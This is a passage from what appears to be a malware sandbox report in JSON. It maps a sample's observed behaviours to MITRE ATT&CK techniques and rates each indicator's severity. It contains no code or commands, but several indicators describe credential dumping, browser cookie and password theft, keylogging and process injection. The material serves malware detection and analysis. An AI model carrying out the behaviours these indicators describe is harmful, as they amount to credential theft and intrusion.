Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Contains references to WMI/WMIC"},{"type":"informative","value":"Contains ability to execute a WMI query"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"suspicious","value":"Opened the service control manager"},{"type":"informative","value":"Contains reference to multiple windows system processes"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Loads the .NET runtime environment"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"suspicious","value":"Modifies Software Policy Settings"},{"type":"informative","value":"Able to create/load registry keys (API string)"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"informative","value":"Able to delete registry key/value (API string)"},{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"informative","value":"Writes registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Persistence","technique":"Kernel Modules and Extensions","attack_id":"T1547.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/006","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Able to unregister service from Service Control Manager"},{"type":"informative","value":"Contains ability to set/modify configuration (Powershell command string)"},{"type":"informative","value":"Contains ability to create/control drivers (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Persistence","technique":"Socket Filters","attack_id":"T1205.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1205/002","identifiers":[{"type":"informative","value":"Able to monitor socket connection"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Persistence","technique":"Transport Agent","attack_id":"T1505.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1505/002","identifiers":[{"type":"informative","value":"Able to establish persistence using Exchange transport agent (.NET)"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Writes data to a remote process"},{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"},{"type":"informative","value":"Able to inject code into another process (API string)"},{"type":"informative","value":"Found PE header in memory"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"},{"type":"informative","value":"Able to modify thread functionality – possible hijack (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"},{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"},{"type":"informative","value":"Contains ability to impersonate another user on the local machine (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to modify access token privileges (API string)"},{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"},{"type":"informative","value":"Contains ability to retrieve token privileges information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Privilege Escalation","technique":"Thread Local Storage","attack_id":"T1055.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/005","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Credential Access","technique":"Steal Web Session Cookie","attack_id":"T1539","attack_id_wiki":"https://attack.mitre.org/techniques/T1539","identifiers":[{"type":"informative","value":"Able to retrieve browser cookies data"},{"type":"informative","value":"Able to access web session cookie"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Credential Access","technique":"Credentials from Web Browsers","attack_id":"T1555.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1555/003","identifiers":[{"type":"informative","value":"References Firefox browser credentials files"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Able to retrieve information about pressed keystrokes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"References to WMI query strings used for process discovery"},{"type":"informative","value":"Queries process information"},{"type":"malicious","value":"Opens a handle of credential dumping utility"},{"type":"informative","value":"Contains ability to retrieve process ID (API string)"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"malicious","value":"Tries to gather information about running processes on a system"},{"type":"informative","value":"Contains ability to enumerate running processes using Tasklist"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"malicious","value":"Spawns many processes"},{"type":"informative","value":"Able to list processes on remote desktop session host"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Discovery","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to check debugger is running (API string)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Able to rename or move file/directory (API string)"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Tries to access Powershell profile file"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Contains ability to retrieve files based on search patterns"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Contains references to file movement (imports API)"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Creates file in AppData directory"},{"type":"informative","value":"Contains ability to retrieve path in which Windows is installed (API string)"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Tries to enumerate objects using PowerShell"},{"type":"informative","value":"References to WMI query strings used for information discovery"},{"type":"informative","value":"Able to retrieve logical drive information (API string)"},{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Contains ability to enumerate objects (Powershell command string)"},{"type":"informative","value":"Able to retrieve geographical location information"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Contains ability to retrieve specified item(s) (Powershell command string)"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Able to query volume/memory size (API string)"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Retrieves specified items using PowerShell"},{"type":"informative","value":"Able to gather system information (.NET)"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Able to discover operating system information (API string)"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Attempts to get system information using PowerShell"},{"type":"informative","value":"Calls an API used to retrieve geographical location information"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Discovery","technique":"Time Based Checks","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"},{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Discovery","technique":"Network Share Discovery","attack_id":"T1135","attack_id_wiki":"https://attack.mitre.org/techniques/T1135","identifiers":[{"type":"informative","value":"Able to access Windows networking-related API (String)"},{"type":"informative","value":"Contains ability to enumerate system network resources (API string)"},{"type":"informative","value":"Imports windows networking-related APIs"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Detected Suricata Alert - External IP Lookup"},{"type":"suspicious","value":"Attempts to identify external IP address"},{"type":"informative","value":"Contains ability to retrieve TCP/IP network configuration"},{"type":"informative","value":"Contains ability to retrieve the local name for a socket (API string)"},{"type":"informative","value":"Contains ability to retrieve system network configuration"},{"type":"informative","value":"Contains ability to retrieve network parameters of a computer (API string)"},{"type":"malicious","value":"Tries to gather system network configuration using IPCONFIG"},{"type":"informative","value":"Able to determine NetBIOS or DNS name associated with the local computer"},{"type":"informative","value":"Contains ability to free the memory used by network management functions (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Able to query system locale information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Able to retrieve date formats supported by the local system (API string)"},{"type":"informative","value":"Able to retrieve machine time (API string)"},{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"informative","value":"Loads the debugger/analysis tool module"},{"type":"informative","value":"Possibly checks for the presence of an Antivirus engine"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Found registry key string for installed applications"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Reads Windows Trust Settings"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Discovery","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using web history"},{"type":"informative","value":"Able to identify virtual environment using user register activity"},{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Contains ability to retrieve the current user information"},{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Able to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Queries the user identity associated with the current process token"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Calls an API typically used to retrieve user name"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Discovery","technique":"System Network Connections Discovery","attack_id":"T1049","attack_id_wiki":"https://attack.mitre.org/techniques/T1049","identifiers":[{"type":"informative","value":"Contains ability to enumerate network resources (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Discovery","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Discovery","technique":"Cloud Groups","attack_id":"T1069.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1069/003","identifiers":[{"type":"informative","value":"May be able to execute Exchange Online Remote PowerShell Modulee"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Discovery","technique":"Browser Information Discovery","attack_id":"T1217","attack_id_wiki":"https://attack.mitre.org/techniques/T1217","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Discovery","technique":"Local Storage Discovery","attack_id":"T1680","attack_id_wiki":"https://attack.mitre.org/techniques/T1680","identifiers":[{"type":"informative","value":"Able to enumerate disk drives (API string)"},{"type":"informative","value":"Calls an API typically used to enumerate Windows drive types"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"},{"type":"informative","value":"Contains ability to find open windows (API string)"},{"type":"informative","value":"Calls an API typically used to enumerate active windows"},{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"suspicious","value":"Requested access to a system service"},{"type":"informative","value":"Able to enumerate service (API string)"},{"type":"informative","value":"Able to query service configuration on system (API string)"},{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Discovery","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Triggers a burst of requests to the same API (API Hammering)"},{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Discovery","technique":"Domain Groups","attack_id":"T1069.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1069/002","identifiers":[{"type":"informative","value":"Loads Windows LDAP client module"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Discovery","technique":"Internet Connection Discovery","attack_id":"T1016.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1016/001","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Contains ability to move file or directory (API string)"},{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Lateral Movement","technique":"VNC","attack_id":"T1021.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1021/005","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"malicious","value":"Tries to steal browser sensitive information (file access)"},{"type":"informative","value":"Writes files in a temp directory"},{"type":"informative","value":"Queries list of installed browsers"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"},{"type":"informative","value":"Calls an API typically used to create a directory"},{"type":"informative","value":"Writes log files"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Collection","technique":"Archive Collected Data","attack_id":"T1560","attack_id_wiki":"https://attack.mitre.org/techniques/T1560","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Able to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Collection","technique":"Clipboard Data","attack_id":"T1115","attack_id_wiki":"https://attack.mitre.org/techniques/T1115","identifiers":[{"type":"informative","value":"Contains ability to access clipboard data (API string)"},{"type":"informative","value":"Able to monitor clipboard data (API string)"},{"type":"informative","value":"Able to capture drag-drop file operations"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Collection","technique":"Archive via Library","attack_id":"T1560.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/002","identifiers":[{"type":"informative","value":"Able to compress/decompress content at runtime"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Contains ability to transfer data using curl"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Drops executable files inside temp directory"},{"type":"informative","value":"Drops files with image extension"},{"type":"suspicious","value":"Writes a PE file header to disc"},{"type":"suspicious","value":"References URL in command line"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contains ability to create a new HTTP request (API string)"},{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Contains ability to create a HTTP or FTP session (API string)"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Found potential IP address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Command and Control","technique":"Mail Protocols","attack_id":"T1071.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/003","identifiers":[{"type":"informative","value":"Found mail related domain names"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Found string related to HTTP headers"},{"type":"informative","value":"Contains reference to Windows internet services (API string)"},{"type":"informative","value":"GETs files from a web server (HTTPS)"},{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"},{"type":"informative","value":"GETs files from a web server (PE files)"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"},{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Makes HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"informative","value":"Contains ability to communicate with C2 using Sockets (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"informative","value":"Contains ability to open a port and listen for incoming connection (API string)"},{"type":"informative","value":"References server/domain address with port number"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"Contains ability to perform Base64 encoding/decoding"},{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Shows ability to use asymmetric encryption 